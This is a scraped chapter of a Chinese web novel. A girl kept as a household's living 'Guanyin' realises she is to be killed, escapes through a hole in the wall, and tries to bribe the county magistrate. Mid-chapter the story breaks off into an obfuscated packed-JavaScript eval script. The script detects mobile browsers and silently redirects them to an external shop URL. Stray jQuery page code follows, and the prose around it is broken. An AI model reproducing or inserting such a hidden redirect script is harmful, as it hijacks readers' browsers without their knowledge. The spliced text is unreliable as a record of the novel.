悯娘抬起的下巴,因得一句话落了下来。
没相。
就代表要去见如来佛祖啦!
阿柔就是这么归位的,她九岁那年宋伯说阿柔没相了,府中二少爷传话说要亲自送阿柔去西天,自那天开始阿柔再也没有回来。
她成为了新的观音,庇佑一方百姓。
“这次是你送弟子吗?”悯娘沉默许久,端着碗的拇指指甲盖儿泛着白,“阿柔姐是二公子送的,你是几公子?还是府里的下人?”
宋相期眉头微蹙,瞥了眼台子上的‘莲台垫子’。
那熟悉的铜板碰撞声,她不是早就准备好了逃跑吗?现在听着这话,她似是一点都不怕。
不等他说话。
悯娘抬头直视着他,“若是下人的话可不行,阿柔姐是二公子送走的,你最起码也得是个公子,不然可不配送弟子。”
众生平等,但人三六九等。
宋相期:“???”
他一愣,差点没给他气晕过去,“你......你知道去西天是什么意思吗?”
他不确定的问。
“弟子知道,归位,菩萨普度众生后,都是要归位的。”悯娘回应。
宋相期瞧着她微隆起的胸脯,今儿个的观音扮相还在身上。
白色衣裳,素白帔帛从铜冠披下、绕在肩头。眉间一点朱红配上那双倔强的眸子,说不上的味道。
“归位?是送你去死。”宋相期弯下腰,贴近了些声音轻的吓人。
他目光紧紧盯着悯娘,生怕漏了点什么。
悯娘摇头,“不是死,你才会死,弟子是归位。”
宋相期:“......”
他扫了眼‘莲台垫子’,直起身子淡淡开口:“嗯,归位,菩萨还是庆幸一下是我送菩萨吧,若是旁人......”
他没说完。
悯娘,“若是旁人怎么了?”
“瞧菩萨慈悲,许是会渎神。”宋相期语气很平的吓唬她。
悯娘不懂渎神是什么,阿柔没有讲。
她‘哦’了一声,再次追问:“你是府中公子吗?”
“不算是。”宋相期说,“菩萨慢用,明儿个我来送菩萨归西。”
说罢,他没再留恋,直接离开。
悯娘瞧着他的背影,垂下眸盯着手中的饭食,除了鸡腿跟平日还是有些区别的。
平日里是烂菜叶子,今儿个的菜绿油油的,平日里是糙饭,今儿个是大白米饭。
饭菜上浮着一层淡淡的油脂,瞧着都香。
宋相期比宋伯敬神佛。
给的吃食又多又好。
她没去桌子前吃,就这么站着将一碗吃食扒拉着吃了,没吃完的用手绢包起来,放进一个小布袋里。
“阿柔,他们不信我是观音了。”悯娘吃饱了就很慌。
拿着碗在祠堂内渡着步子,“怎么办?百姓离不开我的,这些个上等人真坏!”
她越碎碎念,整个祠堂便越阴森。
天色黑得吓人。
她这才想起将碗筷放到院子门口,这几年大荒,崇安郡内东边可是饿垺遍野,西边也没好到哪儿去,但好歹有她在,雷公电母还给点面子。
偶尔下点小雨。
她若是现在归位了,这里也会跟东边的县一样。
“都怪那县令。”悯娘眉头蹙成一团,院子里的落叶风一吹就晃的满院都是。
除了他,没人说她没相。
她还不想归位。
换了身行头,悯娘将莲花垫子里的铜板都掏出来塞进怀里。
墙根处有几块砖头很松,白嫩的手用力抽出几块砖头,瞧着眼前的狗洞趴在地上往外挪。
狗洞很小,是悯娘自己弄得。
她是菩萨,宋家是上等人自然要供奉她,但她不能只庇佑宋家。
所以才悄悄挖了这狗洞。
爬出狗洞时,胯有些卡住了,双手撑着地面,悯娘小脸皱着用力抽身,发出‘嗯嗯嗯’的哼唧声。
这狗洞有些年头了,她时常有剩的吃食,或者攒够铜板了都会钻狗洞出去,宋家没人知道。
悯娘是观音,自然见不得众生疾苦。
“等回来,得再抽一块砖头了,挤屁股。”悯娘爬出狗洞,一手揉着腚一手用墙外的砖头随意塞回去。
抱着沉甸甸的白布袋子,她左右瞧了一会儿路,往衙门走去。
*
春旱年夜里都没有露水,躁得慌。
宋相期伏在案几前看着书,脑子里都是隔壁那十七岁的姑娘。
傻子么?
他不信她是个傻子,若是傻子岂会去偷铜钱攒着?
宋相期瞧着时辰不早了,起身去了隔壁的破落院子,院子门没有门栓,轻轻一推就开了。
漆黑一片下,他余光扫到墙根处凸起的几块砖头。
如若不仔细看,根本发现不了。
“菩萨。”宋相期脚步蹲在祠堂门前,轻唤。
无人应答。
“吱呀——”一声,他推开木门,贡桌上的‘莲花垫子’张开口子,密密麻麻的线头就在那竖着。
宋相期嘴角微勾,菩萨跑了。
带着银钱跑了的菩萨是傻子?明明是个一直装傻,城府颇深的女子。
观音娘一般十四五就得换了,相貌长开了很容易被百姓质疑。
但这不是豪绅非要换观音娘的理由,而是怕长大了的观音娘没那么好控制。
宋相期上前将莲花垫子放规整,修长的指尖整理的慢吞吞的,目光挪到供台后。
一扇屏风将供台和私人住处相隔开来。
他绕过屏风,引入眼帘的便是小床小桌小板凳,被褥洗的发白,柜子也上了年头显得很是斑驳。
空无一人。
踏出祠堂后,他唤了下人,“刚刚菩萨跑入我院中,说墙根塌了,砌上吧,莫让野狗进来惊了菩萨休息。”
下人一愣,上前一看还真是。
“公子,今儿个夜里我就砌好,那悯娘......”
“暂时歇我院里。”宋相期说罢,抬腿便走。
下人瞧着他的背影笑出了声,“今儿个刚说可以尝观音,夜里就急不可耐,啧~还找什么由头墙根塌了,这分明就是人为弄坏的。”
不就是想找个让妮子歇在他院里的由头?
听说这位可是中了举,读书人还真是要脸面的很。
*
悯娘还不知道自己回家的路被人砌上了。
她站在县衙门口,不知道怎么进去,白色头巾将脸裹得严实,就露了一双眼睛。
“咚咚咚!”
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963808|214400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
击鼓鸣冤!
“何人诉状?”门开了,一个衙役打着哈欠不耐烦的问。
悯娘就直勾勾盯着他,也不吭声,菩萨要有排面儿,不能在外人跟前突突突说个没完。
衙役睁开眼吓了一跳,连忙揉了揉眼,白色衣裳,白色头巾,若不是眉间一点朱砂,他都以为见鬼了。
“可是挨了打?”衙役语气轻了些。
崇安郡穷乡僻壤的,有些男子不是什么好东西,娶了媳妇回去不顺心就打。
县太爷上任这几天,已经有几个妇人来过了。
对这种事儿还挺在意。
据说是:‘现在还没苦到吃不起饭就不把妻子当人了,若是跟东边县一样大荒,岂不是要典妻求食?易子而食?’
面前的女子包裹的这般严实,不是挨了打是什么?
悯娘照样没吭声。
衙役不敢耽搁,县太爷爱管的案子,谁敢赶人?
许久。
悯娘站在大堂内。
上头写的字她不认识,但肯定没有她庙前写的字规整。
她仰头看了一会儿,脖子酸了才低下头耐心等着赵煦和出现。
“台下何人?见本宫为何不跪?”熟悉的声音传来,悯娘猛地抬起头。
只见赵煦和没有穿官袍,就穿着一身月白色常服,宽大的袖摆垂着,坐在椅子上翘着二郎腿,睡眼惺忪。
“弟子,弟子与你有话私下说。”悯娘咬了咬下唇,声音弱了许多。
现在不是赵煦和求雨,而是她求赵煦和了。
话音落下,赵煦和眉梢微挑,目光落在她眉心的一点朱砂上。
虽说一整张脸大半都被遮盖,但眉眼和朱砂今儿个刚见过,他语调慵懒道:
“是观音呐!”他一手撑在太阳穴上,嘴角挂着若有若无的笑,“本官不谈私事,你可知无事敲鼓,杖责五十?”
悯娘摇头。
她不晓得,还有仗责是什么?
“可弟子有重要的事情与你单独说,可以吗?”悯娘说。
狐狸眼微微眯起,骨节分明的大手敲击着椅子扶手。
宋家圈养的观音娘能夜里来衙门?
他摆了摆手,让其余人撤下。
“爷,这不妥,万一......”一直跟着他的汤零俯下身警惕的盯着悯娘。
赵煦和只是从他腰间抽出弯刀扔在桌面上。
乒铃乓啷的。
刀刃折射的寒光扫过悯娘的脸颊,她缩了缩脖子,捏着白布袋子的手缩紧。
这个县令不仅是刁民,还有点凶。
但悯娘一向是个看脸的,长得好看的,感觉再坏也坏不到哪儿去。
佛说相由心生。
他长得好看,再凶能有多凶?
“退下吧。”赵煦和摆手,眼睛却看着她没有移开视线。
汤零见状只好作罢,朝隐匿在大堂内的暗卫使了个眼色。
公堂内没了人。
悯娘壮着胆子靠近他跟前。
赵煦和也不吭声,就这么盯着她走近。
直到悯娘从布袋子里拿出吃食,剩下的都撒在桌子上。
问:“这些够吗?”
赵煦和:“???”
他斜眼看着悯娘,“这是何意?”
“贿赂你。”悯娘直言。